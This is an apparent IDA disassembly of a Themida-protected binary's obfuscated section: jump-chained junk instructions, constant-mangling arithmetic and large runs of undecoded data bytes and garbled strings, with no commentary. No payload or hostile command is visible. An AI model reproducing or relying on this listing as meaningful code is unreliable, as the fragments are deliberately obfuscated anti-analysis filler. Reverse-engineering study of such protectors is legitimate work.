		push	edx
		mov	dl, bh
		push	ebx
		jmp	loc_562F99
; ---------------------------------------------------------------------------
aIxwsH		db '┴ЕWИуh',0
		align 2
		dd offset dword_4ECB1C+14Ch
		dw 8900h
		dd 0F3B9240Ch, 8133C229h, 9857ACC9h, 0E3895323h, 4C381h
		dd 0EB830000h, 6E91E904h, 1C890000h, 0E9ECB324h, 514Bh
		dd 0C281E289h, 4, 0A94CE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553026:				; CODE XREF: Themida_:005546CEj
		add	ebx, esi
		add	ebx, 67776D80h
		pop	esi
		sub	edx, ebx
		pop	ebx
		sub	edx, ebx
		push	ebp
		push	eax
		mov	eax, 35936DF0h
		mov	ebp, eax
		jmp	loc_552EF6
; ---------------------------------------------------------------------------
		dw 0E957h
		dd 1026Dh, 7001BD55h, 94E97E2Bh, 520000D8h, 5113E7BAh
		dd 89BE567Eh, 0D1679174h, 25B850E6h, 403B4B39h,	7F22D40h
		dd 13E90F27h, 81000069h, 4C7h, 4C78300h, 749AE9h, 5AF08800h
		dd 10CB5E9h, 2434FF00h,	582434FFh, 81E38953h, 4C3h, 4C38100h
		dd 87000000h, 835C241Ch, 13E904C4h
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5530AB:				; CODE XREF: Themida_:0055E878j
		jz	loc_552F10
		push	dword ptr [edi+28h]
		jmp	loc_557D94
; ---------------------------------------------------------------------------
		db 51h,	0E9h, 65h
		dd 0F70000F1h, 0A6E981D9h, 0E93A398Ah, 1237Fh, 846C281h
		dd 8B5949B4h, 9AE92434h, 1000098h, 0C5815BDDh, 4, 0E9242C87h
		dd 810Ch
dword_5530EC	dd 24048B66h, 0C27FE955h, 48F0000h, 29E3E924h, 95BA0000h
					; DATA XREF: Themida_:00552A90o
		dd 316FB85Fh, 24148BD6h, 0C104C483h, 0F7E907E6h, 810000C2h
		dd 4C4h, 0DDCDE900h, 40660000h,	7E8C166h, 75C73566h, 58C18966h
		dd 0BEE94966h, 0BE00000Fh, 22473762h, 0C8A2C681h, 0F101DDB8h
		dd 4C1815Eh, 51000000h,	42474FFh, 8E59E9h, 81C33100h, 515656EAh
		dd 0B7BF5773h, 81587412h, 0D85791C7h, 19ADE901h, 0E94F0001h
		dd 58F1h, 793BA4BFh, 0FFC7835Eh, 1372E953h, 4BA0001h, 1000000h
		dd 4ED8E9D3h, 0F1350000h, 1220468h, 0C18158C1h,	4, 0E9240C87h
		dd 0D090h, 94E95659h, 52000115h, 204EE9h, 0E9E18900h, 0AE46h
		dd 0E9242C89h, 12163h
; ---------------------------------------------------------------------------


loc_5531BC:				; CODE XREF: Themida_:0055D3DEj
		dec	ecx
		neg	ecx
		push	edx
		jmp	loc_562AC6
; ---------------------------------------------------------------------------


loc_5531C5:				; CODE XREF: Themida_:00556551j
		sub	ah, 2Fh
		jmp	loc_55B726
; ---------------------------------------------------------------------------
		db 1, 0FEh, 5Fh
		dd 0A8A2E9h, 48F5E00h, 43E95C24h, 810000C7h, 44693DC3h
		dd 8DC3814Ah, 0FF72A064h, 3C8B2434h, 4C48324h, 81E28952h
		dd 4C2h, 3DD4E900h, 1C890001h, 4BB24h, 0DE010000h, 0D0E6E95Bh
		dd 8BB90000h, 895E1E5Dh, 5E2D59C8h, 2D3F4A7Ah, 3E4A53DBh
		dd 1BE56h, 0C6E90000h
		db 0CDh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55322F:				; CODE XREF: Themida_:005634A9j
		xchg	esi, ebp
		xchg	edi, esi
		not	edi
		xor	esi, edi
		xor	edi, esi
		xor	esi, edi
		xchg	esi, ebp
		push	edi
		jmp	loc_5553F6
; ---------------------------------------------------------------------------


loc_553243:				; CODE XREF: Themida_:00561EBBj
		mov	esi, ebx
		jmp	loc_560CC3
; ---------------------------------------------------------------------------


loc_55324A:				; CODE XREF: Themida_:0055BDC0j
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	2
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_563DAF
; ---------------------------------------------------------------------------
aVicpRvTs1e	db '\V┴ФP╦RVЛTИ1E',0
		db 0
; ---------------------------------------------------------------------------


loc_55327B:				; CODE XREF: Themida_:0055AF30j
		mov	ebx, esp
		push	edi
		push	edx
		jmp	loc_557F1A
; ---------------------------------------------------------------------------
		dd 0F8372D97h, 0DEE9F7D1h, 870000BFh, 81D3F7D3h, 6A94F2F3h
		dd 0E91829E5h, 888Eh
; ---------------------------------------------------------------------------


loc_5532A0:				; CODE XREF: Themida_:0055512Dj
		push	0B767BFFh
		pop	ebx
		or	ebx, 5AE197Fh
		and	ebx, 6D6E0FBCh
		inc	ebx
		xor	ebx, 0D6E0BB9h
		push	ebx
		pop	esi
		pop	ebx
		add	edx, esi
		pop	esi
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_553AAB
; ---------------------------------------------------------------------------


loc_5532CE:				; CODE XREF: Themida_:00562688j
		shl	edx, 7
		jmp	loc_558C15
; ---------------------------------------------------------------------------
		dw 5AB9h
		dd 0E9B60A64h, 4E05h, 165DCD81h, 5468683Fh, 89000030h
		dd 2DBB241Ch, 0E9085104h, 0C517h, 0FFF9C6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5532FD:				; CODE XREF: Themida_:005591BCj
		pop	esi
		jmp	loc_557BD9
; ---------------------------------------------------------------------------
		db 31h
		dd 2434FFD0h, 1564685Ah, 14890000h, 19156824h, 6BE90000h
		db 12h,	1, 0
; ---------------------------------------------------------------------------


loc_55331B:				; CODE XREF: Themida_:00561240j
		push	eax
		mov	eax, 5CD63D42h
		sub	eax, 10C25A5Ah
		shr	eax, 7
		add	eax, 0FFFFFFFFh
		xor	eax, 0DFE436Eh
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 470F6FBFh
		jmp	loc_5542C7
; ---------------------------------------------------------------------------
		dd 0D4F666B4h, 3D4168h,	24148900h, 4EC8351h, 10050E9h
		db 0
; ---------------------------------------------------------------------------


loc_553359:				; CODE XREF: Themida_:005599B5j
		pop	esi
		xchg	ebx, [esp]
		jmp	loc_55BD60
; ---------------------------------------------------------------------------


loc_553362:				; CODE XREF: Themida_:0055E7C4j
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5566DD
; ---------------------------------------------------------------------------


loc_553373:				; CODE XREF: Themida_:00557B9Bj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_558A47
; ---------------------------------------------------------------------------
		db 0FEh, 0C6h, 0C0h
		dd 0B75303EEh, 7E7C0C6h, 695CE9h
		db 0
; ---------------------------------------------------------------------------


loc_553391:				; CODE XREF: Themida_:0056371Bj
		push	edx
		jmp	loc_5582AF
; ---------------------------------------------------------------------------
		db 53h
		dd 4BBh, 1EC1E900h, 0E95B0001h,	97F3h, 5F240CFFh, 0A0C78147h
		dd 1077F3Dh, 0F0295FF8h, 1D69192Dh, 0C2685E0Ah,	8900002Bh
		dd 6CE92414h
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5533CB:				; CODE XREF: Themida_:0055793Ej
		pop	ebx
		push	ebp
		jmp	loc_558AAD
; ---------------------------------------------------------------------------


loc_5533D2:				; CODE XREF: Themida_:0055794Cj
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_55E9AB
; ---------------------------------------------------------------------------
		db 59h
		dd 5D12972Dh, 26BD557Ah, 0E9341520h, 1519h, 89241C89h
		dd 4B850E3h, 1000000h, 6B33E9C3h, 0F5B80000h, 0E9220468h
		dd 0FFFFFD7Ah, 0E924248Bh, 4A8Dh, 5CE9E089h, 0C1000090h
		dd 0C28106E2h, 5C154666h, 7F49C281h, 93E9A303h,	88000071h
		dd 0EC815AF3h, 4, 0B4240489h, 19F480C1h, 3BC0E9h
		db 0
; ---------------------------------------------------------------------------


loc_553449:				; CODE XREF: Themida_:0056129Dj
		add	ecx, esi
		sub	ecx, 411869B0h
		sub	ecx, 3D377AF5h
		push	eax
		mov	eax, 2B396ADDh
		shr	eax, 3
		inc	eax
		add	eax, 0FFFFFFFFh
		jmp	loc_5580BA
; ---------------------------------------------------------------------------


loc_553469:				; CODE XREF: Themida_:005590EAj
		sub	eax, 4D06791Dh
		jmp	loc_55E2E5
; ---------------------------------------------------------------------------
		db 0B8h
		dd 48201EBh, 48BC289h, 4C48324h, 0E9FFC283h, 0B010h, 0DCEA815Ah
		dd 15F977Ah, 615BE9FAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553496:				; CODE XREF: Themida_:00556B88j
		add	esp, 4
		jmp	loc_55B843
; ---------------------------------------------------------------------------
		db 1, 0DEh, 5Bh
		dd 0F325E9h, 242C8B00h,	81E28952h, 4C2h, 0C5E95700h
		db 0DCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5534BB:				; CODE XREF: Themida_:00566F86j
		add	ebx, 80A88889h
		jmp	loc_56000B
; ---------------------------------------------------------------------------
		dw 0C31h
		dd 240C3324h, 6624248Bh, 0E9240489h, 0FFFFF7EBh
dword_5534D8	dd 28B6664h, 6E676866h,	6F2E9h ; DATA XREF: Themida_:00552A60o
		db 0
; ---------------------------------------------------------------------------


loc_5534E5:				; CODE XREF: Themida_:005600D4j
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_55AB63
; ---------------------------------------------------------------------------


loc_5534F0:				; CODE XREF: Themida_:0055968Dj
		mov	edi, 4
		add	eax, edi
		jmp	loc_553CAD
; ---------------------------------------------------------------------------


loc_5534FC:				; CODE XREF: Themida_:0055580Bj
		pop	edx
		xor	ebp, 4DF626FFh
		add	ebp, 0DE2975B6h
		jmp	loc_5664D4
; ---------------------------------------------------------------------------
word_55350E	dw 8B66h		; DATA XREF: Themida_:00552C0Co
		dd 0E952240Ch, 2C3Ch, 24148766h, 24348B66h, 2942E9h, 29B95100h
		dd 8958A02Fh, 0FEB1E9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553532:				; CODE XREF: Themida_:0055E9B2j
		push	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	252Ah
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_556E0F
; ---------------------------------------------------------------------------
		dd 12C8E957h, 0FABA0000h, 297B1510h, 295E5AD0h,	0E38953D8h
		dd 4C381h, 0EB830000h, 4EC8304h, 0FF241C89h, 0E9042474h
		dd 63B9h, 80A5F480h, 0C18013C1h, 80E12851h, 73E951E9h
		db 17h,	1, 0
; ---------------------------------------------------------------------------


loc_55358B:				; CODE XREF: Themida_:0055A4FEj
		xchg	ebp, [esp]
		jmp	loc_55D60E
; ---------------------------------------------------------------------------


loc_553593:				; CODE XREF: Themida_:0055EC3Dj
		mov	bh, 0B1h
		jmp	loc_56622B
; ---------------------------------------------------------------------------


loc_55359A:				; CODE XREF: Themida_:0055E117j
		pop	edi
		add	edi, 4
		add	edi, 4
		jmp	loc_55AAB8
; ---------------------------------------------------------------------------


loc_5535A9:				; CODE XREF: Themida_:005632E3j
		mov	[esp], edi
		push	743048DAh
		jmp	loc_564FCB
; ---------------------------------------------------------------------------


loc_5535B6:				; CODE XREF: Themida_:0055A3ECj
		sub	edx, 153B418Dh
		add	edx, eax
		add	edx, 153B418Dh
		add	dword ptr [edx], 1
		pop	edx
		mov	eax, [esp]
		push	192Ah
		mov	[esp], edi
		push	esp
		pop	edi
		push	ebx
		mov	ebx, 7D941B5h
		and	ebx, 5B78269Fh
		jmp	loc_5549C6
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0BB241C89h, 4, 7D22C581h, 0ED813D19h, 2AEF507Ch, 137AC581h
		dd 0ED811BBFh, 1A133FE2h, 5F37C581h, 0DD0177ACh, 7C1CE9h
		dd 0DEF75F00h, 0FFFFC681h, 0D2E9FFFFh
		db 0DBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_553627:				; CODE XREF: Themida_:005596BCj
		sub	esi, eax
		pop	eax
		shl	esi, 7
		jmp	loc_55F769
; ---------------------------------------------------------------------------
aJa		db 'Ё╕─ц╫',0
aCaucxsa	db 'ч[(Ф─НcXИ═',0
		align 4
		dd 59C82900h, 8158C501h, 66227DC3h, 81EB2975h, 66227DEBh
		dd 0C3815D75h, 27942F8Bh, 4BF5759h, 1000000h, 1073E9FBh
		dd 8A680001h, 89000033h, 0EC81241Ch, 4,	83242489h, 8B042404h
		dd 0C481241Ch, 4, 4C381h, 0B8500000h, 2, 8358C301h, 1C8904ECh
		dd 5EBAE924h, 0E2890000h, 4C281h, 0C2830000h, 24148704h
		dd 6E0C15Ch, 7A768h, 6B90E900h,	0ED810000h, 473D0C43h
		dd 99DED81h, 4E90EE0h
		db 88h,	2 dup(0)
aNbQOtbu	db '╜│фQ,oT│Нъ',0       ; DATA XREF: Themida_:00552B4Co
aHs2t		db 'мHИ2▓',0
		dd 0C5C68000h, 0AE2C9904h, 7051E9h, 0B9BF5700h,	816DF62Fh
		dd 0C6106DF7h, 0D0EF811Fh, 291F4DC0h, 0EB815FFBh, 186C33F7h
		dd 254FE9h
		db 0
; ---------------------------------------------------------------------------


loc_553711:				; CODE XREF: Themida_:00557B70j
		and	cl, 3Ch
		push	49A0h
		mov	[esp], eax
		mov	ah, 0A3h
		sub	esp, 4
		jmp	loc_55F1B8
; ---------------------------------------------------------------------------
aVhA		db 'Vh*A',0
		dw 8900h
		dd 4832424h, 50E90424h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55373B:				; CODE XREF: Themida_:0055CB37j
		mov	edx, [esp]
		push	4E85h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		push	edx
		mov	edx, 3D1175ECh
		mov	ecx, 3AF10082h
		jmp	loc_5550AA
; ---------------------------------------------------------------------------


loc_55375F:				; CODE XREF: Themida_:00560B74j
		mov	ecx, edi
		jmp	loc_5649E7
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24248B24h, 4EC81h, 0C890000h, 81E18924h, 4C1h, 0FBE95700h
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553783:				; CODE XREF: Themida_:00562EC9j
		and	esi, 46FE6ED4h
		xor	esi, 43262F69h
		sub	ecx, esi
		jmp	loc_55F6F9
; ---------------------------------------------------------------------------
		dw 0FD01h
		dd 8BEE895Fh, 0C483242Ch, 1C68304h, 4217F681h, 0E9560644h
		dd 4B3Ch, 409EC681h, 0F201B897h, 0F1E0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5537BD:				; CODE XREF: Themida_:0055DF86j
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_5600F2
; ---------------------------------------------------------------------------
aSUKs		db '╩А~u~KИ# ',0
		align 2
		dw 58B7h
		dd 805BFE88h, 0B1515FE6h, 6587E9A1h, 0EF810000h, 0DA87205h
		dd 0C781D701h, 0DA87205h, 39ABE95Ah, 0B5510001h, 0F6DDF6E7h
		dd 0C6C580D5h, 8006EDC0h, 0E88849EDh, 6313E959h, 0E1B90000h
		dd 8149C856h, 6412AEE1h, 9CE98117h, 0E9014012h,	4B25h
		dd 0A473F181h, 0C68180D4h, 55F81022h, 0EE81CE29h, 55F81022h
		dd 0BFFDE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55383E:				; CODE XREF: Themida_:0055CC35j
		or	edx, eax
		jmp	loc_559EB0
; ---------------------------------------------------------------------------
aBKnsfsr	db '│,$kNSfИrф',0
		db 0
; ---------------------------------------------------------------------------


loc_553851:				; CODE XREF: Themida_:00557ED7j
		sub	esi, 30F43D6Eh
		sub	esi, ebp
		add	esi, 30F43D6Eh
		sub	esi, 154829B4h
		jmp	loc_55BB1B
; ---------------------------------------------------------------------------
aXssb		db 'XSИb{',0
		dd 0AACD8000h, 727568h,	241C8900h, 0CF8098B7h, 0C0DFF605h
		dd 0E78004E7h, 18C78077h, 34FFFD28h, 0C4835B24h, 83CDFE04h
		dd 896602ECh, 0FE92404h
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5538A3:				; CODE XREF: Themida_:00562569j
		mov	edx, [esp]
		jmp	loc_56763A
; ---------------------------------------------------------------------------
		db 81h
		dd 0CE7A58C1h, 52F9010Ch, 1912ECBAh, 0DEF28132h, 50383A79h
		dd 0AB0F26B8h, 58C20102h, 0E95AD129h, 0E76Fh, 8247C29h
		dd 7CF7E9h, 0C896600h, 2E0DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5538E2:				; CODE XREF: Themida_:0055F9BDj
		and	eax, ebp
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5597F4
; ---------------------------------------------------------------------------
		dd 195868h, 24348900h, 2306B951h, 0E9815E84h, 0CB39BBh
		dd 0C981D9F7h, 11255E08h, 0B7BCE9h
		db 0
; ---------------------------------------------------------------------------


loc_553921:				; CODE XREF: Themida_:0055DFD6j
		xchg	edi, [esp]
		jmp	loc_562A39
; ---------------------------------------------------------------------------


loc_553929:				; CODE XREF: Themida_:0055F64Aj
		add	esp, 4
		and	ecx, ebp
		pop	ebp
		jmp	loc_563E75
; ---------------------------------------------------------------------------


loc_553934:				; CODE XREF: Themida_:005631FAj
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		push	edi
		jmp	loc_561BBE
; ---------------------------------------------------------------------------


loc_553943:				; CODE XREF: Themida_:00566FA5j
		sub	[esp+8], ebx
		jmp	loc_56537B
; ---------------------------------------------------------------------------
		dd 0EFC1D7F7h, 58ECE907h, 835C0000h, 1EE902C0h,	5500008Dh
		dd 4BDh, 5DEA0100h, 5C241487h, 1818C381h, 0F3813A42h, 0A0045272h
		dd 77F7EA81h, 0C28171BFh, 7E577EF8h, 0EA81DA01h, 7E577EF8h
		dd 3E8EBB53h, 0E3C125F1h, 4755E907h, 15F0000h, 59C281C2h
		dd 58691237h, 0E3BE5653h, 0D11E4D64h, 0C68146E6h, 1, 2FBEE9h
		db 0
; ---------------------------------------------------------------------------


loc_5539B9:				; CODE XREF: Themida_:00553E57j
		neg	ebx
		sub	ebx, 646DF1EEh
		or	eax, ebx
		pop	ebx
		sub	eax, 1
		not	eax
		push	ebp
		mov	ebp, 5FFB7D83h
		add	eax, ebp
		pop	ebp
		sub	esi, eax
		pop	eax
		jmp	loc_559A9A
; ---------------------------------------------------------------------------


loc_5539DA:				; CODE XREF: Themida_:00564B73j
		push	ebp
		mov	ebp, 1BD833B1h
		shl	ebp, 4
		and	ebp, 28D43EE2h
		xor	ebp, 48926EE3h
		jmp	loc_5659A1
; ---------------------------------------------------------------------------
		dd 40F68h, 242C8900h, 0C581E589h, 4, 1348BE9h, 0F6815B00h
		dd 63066538h, 0D574E9h,	4B900h,	0CD010000h, 8DDE959h, 3C8B0001h
		dd 8321E924h, 0E9570000h, 10E78h, 24048F5Eh, 8324248Bh
		dd 3E902C0h
		db 0C8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_553A3F:				; CODE XREF: Themida_:00565A86j
		pop	edx
		jmp	loc_564361
; ---------------------------------------------------------------------------


loc_553A45:				; CODE XREF: Themida_:00560AFFj
		sub	edi, 62314C21h
		xor	edi, 0E154DA42h
		xor	eax, edi
		pop	edi
		add	eax, 21F679FEh
		add	eax, 81266CD9h
		mov	edx, eax
		pop	eax
		add	edx, 3F3C0819h
		jmp	loc_557EED
; ---------------------------------------------------------------------------


loc_553A6C:				; CODE XREF: Themida_:0055D5F3j
		mov	esi, ecx
		jmp	loc_56362A
; ---------------------------------------------------------------------------
		db 57h
		dd offset dword_4E00B8+31h
		dd 4EC8300h, 849FE9h, 24248B00h, 0E99CC885h, 0FFFFF237h
		dd 31241C33h, 1C33241Ch, 0BB535C24h, 2,	38E9DF01h, 0FF00010Ah
		dd 0A0E92434h
		db 3Ah,	1, 0
; ---------------------------------------------------------------------------


loc_553AAB:				; CODE XREF: Themida_:005532C9j
		push	ecx
		jmp	loc_563E5D
; ---------------------------------------------------------------------------


loc_553AB1:				; CODE XREF: Themida_:0056397Aj
		pop	edx
		jmp	loc_5610FF
; ---------------------------------------------------------------------------
		db 5
aFufs2		db 0Dh,'FUFИ2©',0
		db 0
; ---------------------------------------------------------------------------


loc_553AC1:				; CODE XREF: Themida_:005563B6j
		mov	edi, [esp]
		add	esp, 4
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5629F0
; ---------------------------------------------------------------------------
		dw 0E2D0h
		dd 0AE02E9h, 5BDF8900h,	3C8BFE29h, 2123E924h, 0C890001h
		dd 4EC8324h, 83241C89h,	148904ECh, 88E68824h, 0F9885AF7h
		dd 62E9535Bh
		db 71h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553B0F:				; CODE XREF: Themida_:0055FA66j
		pop	ecx
		mov	dh, bl
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_56486A
; ---------------------------------------------------------------------------
		db 68h,	38h, 6Ch
		dd 67E90000h, 100h, 2EC83D8h, 75F3E9h, 5AD02800h, 103A7E9h
		dd 3E7C100h, 0F931CF31h, 0D1F7CF31h, 0E7E9CF87h, 8B0000AFh
		dd 60E92424h, 66FFFFF1h, 1F60CE81h, 12226E9h, 0AE95900h
		dd 0BD000117h, 7ECA0749h, 0E95DEA31h, 0E9D8h
dword_553B80	dd 0E9D831ADh, 1389Ch	; DATA XREF: Themida_:00552BE0o
; ---------------------------------------------------------------------------


loc_553B88:				; CODE XREF: Themida_:00556573j
		push	ebx
		mov	ebx, 29046964h
		jmp	loc_55C9D8
; ---------------------------------------------------------------------------
		db 0B8h
		dd 35E169Ah, 12Dh, 0ACE95300h, 10000A9h, 243C8BF9h, 8304C483h
		dd 0C3302C1h, 240C3124h, 8D05E9h, 7CC58100h, 81941D92h
		dd 0D027A6C5h, 0BA524568h, 227167E4h, 4DEEE9h, 0C3E95800h
		dd 66000078h, 0E9240489h, 0FFFFF0E3h, 4EC81h, 34890000h
		dd 1326E924h, 48F0000h,	24248B24h, 0F1E9C301h, 81000018h
		dd 0A5F0C7h, 5FF9894Fh,	0D8B8E9h, 24248B00h, 9C243CD3h
		dd 0FFF0AEE9h, 0F7D1F7FFh, 0E1F181D9h, 81399142h, 4462F3C7h
		dd 81CF2965h, 4462F3EFh, 0ED815965h, 23265B63h,	0C581FD01h
		dd 23265B63h, 83243C8Bh, 0E95204C4h, 11393h
; ---------------------------------------------------------------------------


loc_553C48:				; CODE XREF: Themida_:0056761Bj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_564B9F
; ---------------------------------------------------------------------------
dword_553C5C	dd 8B2434FFh, 27E92404h	; DATA XREF: Themida_:00552AB4o
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553C67:				; CODE XREF: Themida_:005565DDj
		mov	edi, [esp]
		jmp	loc_554DF5
; ---------------------------------------------------------------------------
aIssi		db '┴АИ⌡╠',0
		align 2
aYzSr		db ')оY┤<$ИR-',0
		db 0
; ---------------------------------------------------------------------------


loc_553C81:				; CODE XREF: Themida_:00552CD7j
		push	85Ah
		mov	[esp], ecx
		jmp	loc_563336
; ---------------------------------------------------------------------------


loc_553C8E:				; CODE XREF: Themida_:005629F2j
		push	dword ptr [esp]
		pop	edx
		push	ecx
		jmp	loc_556BF8
; ---------------------------------------------------------------------------


loc_553C98:				; CODE XREF: Themida_:0055C4E1j
		sub	ecx, 475605D3h
		pop	esi
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56023A
; ---------------------------------------------------------------------------


loc_553CAD:				; CODE XREF: Themida_:005534F7j
		pop	edi
		jmp	loc_5643E2
; ---------------------------------------------------------------------------
		db 29h
		dd 0EB0159CDh, 241C875Dh, 0E924248Bh, 0FFFFEFFFh
dword_553CC4	dd 4EC81h, 1C890000h, 4EC8324h,	10F41E9h ; DATA	XREF: Themida_:00552C50o
		db 0
; ---------------------------------------------------------------------------


loc_553CD5:				; CODE XREF: Themida_:0055A2EFj
		xor	ebp, edx
		pop	edx
		sub	edi, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		dd 0FFEFE2E9h, 241C87FFh, 5324248Bh, 8904EC83h,	40E92424h
		db 14h,	1, 0
; ---------------------------------------------------------------------------


loc_553CF3:				; CODE XREF: Themida_:0055859Aj
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	7415h
		jmp	loc_557E32
; ---------------------------------------------------------------------------
		dd 0FF243C89h, 5F042474h, 12249E9h, 70C18100h, 812DCC25h
		dd 0BA349EC1h, 81E90103h, 0BA349EE9h, 4EC8103h,	89000000h
		dd 368243Ch, 8900005Dh,	0B4E9241Ch, 0B40000B4h,	0E9E52876h
		dd 6B02h, 9E39E95Fh, 0E5890000h, 9F9FE9h, 1C895C00h, 2474FF24h
		dd 2434FF04h, 0E089505Bh, 405h,	971AE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553D6E:				; CODE XREF: Themida_:0055599Bj
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5650FD
; ---------------------------------------------------------------------------
		db 50h
		dd 58240CFFh, 6D34B951h, 6849429Dh, 0
		dd 8B240C29h, 0C481240Ch, 4, 1294F181h,	0C1812760h, 8E86B4D0h
		dd 2959C829h, 0F26BE9C3h, 0E9580000h, 5267h, 0EE87F587h
		dd 8220F681h, 0C2819E2Ch, 1B2245C1h, 0EA81F201h, 1B2245C1h
		dd 8124348Bh, 4C4h, 9F0DE900h, 0C3810000h, 4, 21D4E9h
		dd 4C48300h, 45BDE30h, 2CF00059h, 24148B59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 2
		jmp	loc_55EC39
; ---------------------------------------------------------------------------


loc_553E0D:				; CODE XREF: Themida_:00561D35j
		xor	edi, 274F416Eh
		xor	edi, 23A968F9h
		sub	esi, 6DBB4531h
		sub	esi, edi
		add	esi, 6DBB4531h
		mov	edi, [esp]
		add	esp, 4
		push	78D6h
		mov	[esp], ebx
		mov	ebx, esi
		push	71FDh
		mov	[esp], ebx
		pop	eax
		pop	ebx
		mov	esi, [esp]
		sub	esp, 4
		jmp	loc_55AA0A
; ---------------------------------------------------------------------------


loc_553E4F:				; CODE XREF: Themida_:005639D6j
		xor	ebx, 6B822549h
		shr	ebx, 1
		jmp	loc_5539B9
; ---------------------------------------------------------------------------


loc_553E5C:				; CODE XREF: Themida_:0055C1EFj
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_56189E
; ---------------------------------------------------------------------------


loc_553E69:				; CODE XREF: Themida_:00563CAEj
		xor	ecx, 6539212Eh
		jmp	loc_567493
; ---------------------------------------------------------------------------
aPrsv_		db 'PRИ╒_',0
		db 0
; ---------------------------------------------------------------------------


loc_553E7B:				; CODE XREF: Themida_:0055A0F5j
		xchg	eax, ebp
		jmp	loc_567230
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 71h
		dd 2167AC53h, 24348BF7h, 4EC81h, 2C890000h, 51E58924h
		dd 4B9h, 0E9CD0100h, 1209Fh, 0C3496B8h,	249F252Fh, 0E7050C2Eh
		dd 2D581B76h, 3FF9689Bh, 502E0C1h, 6F47347Ch, 8758C629h
		dd 0ECE92434h, 0FF000111h, 5B042474h, 8B24048Fh, 34FF2424h
		dd 24148B24h, 0E9E68956h, 1E60h, 2434895Ch, 8904EC83h
		dd 4BF243Ch, 89000000h,	0C7E95FFEh, 0FF000038h,	815A2434h
		dd 4C4h, 2BD5500h, 1000000h, 8493E9EEh,	0D6F70000h, 0FFFE97E9h
		dd 4BDFFh, 0F2E90000h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553F23:				; CODE XREF: Themida_:0055B704j
		push	esi
		mov	esi, 3FAF3FB1h
		xor	ebp, esi
		pop	esi
		push	1712h
		mov	[esp], edi
		mov	edi, 0F84BEE4Ch
		xor	ebp, edi
		pop	edi
		mov	edx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_561BB2
; ---------------------------------------------------------------------------
		db 81h,	0E3h, 17h
		dd 81471241h, 81E82F3h,	5BDE29CFh, 574A022Dh, 22CC0542h
		dd 0F0291E56h, 5622CC2Dh, 4759681Eh, 0C890000h,	4A02B924h
		dd 0C8014257h, 24348B59h, 4C481h, 0C6E90000h
		db 0F1h, 2 dup(0FFh)
byte_553F8B	db 66h			; DATA XREF: Themida_:00552BF0o
		dd 6824048Bh, 435Fh, 68240C89h,	1F6Ch, 55242489h, 4BDh
		dd 246C0100h, 57595D04h, 1A10E2BFh, 0D476E946h,	4B80000h
		dd 1000000h, 24048BC2h,	5604C483h, 8904EC83h, 3568241Ch
		dd 0E974D106h, 6965h, 1C281h, 0B0E90000h, 81FFFFF2h, 0D63624F5h
		dd 5DEA291Fh, 5FA2E958h, 0E7880000h, 585BF988h,	0E9241C8Bh
		dd 3821h
; ---------------------------------------------------------------------------


loc_553FFC:				; CODE XREF: Themida_:0055B14Dj
		sub	ebp, 4
		jmp	loc_562181
; ---------------------------------------------------------------------------
		dd 80F6E480h, 0E5008CF4h, 5324048Bh, 984CE9h, 0ECA9E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55401A:				; CODE XREF: Themida_:00562FA0j
		xor	al, ch
		pop	ecx
		add	bl, 54h
		add	bl, al
		push	eax
		jmp	loc_56452C
